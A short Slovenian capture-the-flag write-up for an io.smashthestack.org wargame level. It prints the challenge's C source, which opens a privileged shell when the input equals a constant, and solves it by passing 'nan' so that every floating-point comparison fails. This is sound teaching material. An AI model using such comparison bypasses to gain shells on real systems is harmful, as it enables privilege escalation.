Nekaj besed o alternativni rešitvi druge stopnje io.smashthestack.org.
$ ssh -l level2 io.smashthestack.org -p2224
level2@io:/levels$ ./level02_alt
You provided the number -1.000000 which is too low
level2@io:/levels$ cat level02_alt.c
/* submitted by noname */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define answer 3.141593
void main(int argc, char **argv) {
float a = (argc - 2)?: strtod(argv[1], 0);
printf("You provided the number %f which is too ", a);
if(a < answer)
puts("low");
else if(a > answer)
puts("high");
else
execl("/bin/sh", "sh", "-p", NULL);
}
double strtod(const char *str, char **endptr);
Spremeni niz znakov v realno število z dvojno natančnostjo. Katerikoli znak, ki ne more biti del realnega števila, bo prekinil pretvorbo. Kazalec na preostanek niza je shranjen na lokaciji endptr
. V primeru ko ne pride do pretvorbe, funkcija vrne 0
, na lokacijo kamor kaže endptr
se shrani niz str
v celoti.
Program nam odpre lupino, če kot vhodni parameter vnesemo pravilen odgovor, na prvi pogled je to kar 3.141593. Toda ni tako enostavno, ko to poskusimo, dobimo sporočilo, da je vnešena vrednost prenizka. Najprej lahko preverimo, če pride do razlike zaradi zaokroževanja, če zadevo preverimo vidimo, da napake pri zaokroževanju ni.
Ponovno se je najbolje zateči kar v navodila:
level2@io:~$ man strtod
...
DESCRIPTION
...
The expected form of the (initial portion of the) string is optional leading white space as recognized by isspace(3), an optional plus ('+') or minus sign ('-') and
then either (i) a decimal number, or (ii) a hexadecimal number, or (iii) an infinity, or (iv) a NAN (not-a-number).
...
A NAN is "NAN" (disregarding case) optionally followed by '(', a sequence of characters, followed by ')'. The character string specifies in an implementation-dependent
way the type of NAN.
...
Torej program lahko prepričamo v izvršitev lupine, če mu podamo vhodni parameter nan
:
level2@io:/levels$ ./level02_alt nan
sh-4.2$
```